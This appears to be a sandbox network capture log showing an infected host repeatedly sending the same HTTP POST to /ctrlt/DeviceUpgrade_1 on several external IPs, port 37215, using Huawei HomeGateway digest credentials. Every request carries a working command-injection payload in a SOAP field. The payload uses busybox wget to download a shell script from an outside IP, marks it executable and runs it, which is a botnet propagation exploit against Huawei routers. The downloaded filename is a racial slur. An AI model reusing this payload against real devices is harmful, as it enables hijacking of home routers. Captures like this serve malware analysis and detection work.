Feb 19, 2024 18:37:18.853398085 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.996504068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:37.026817083 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	34598	222.186.57.235	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:21.546058893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.764421940 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.907536030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	35610	156.235.106.164	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:22.551417112 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:26.788289070 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:32.931391954 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	60120	45.42.94.216	37215

Timestamp	Bytes transferred	Direction	Data
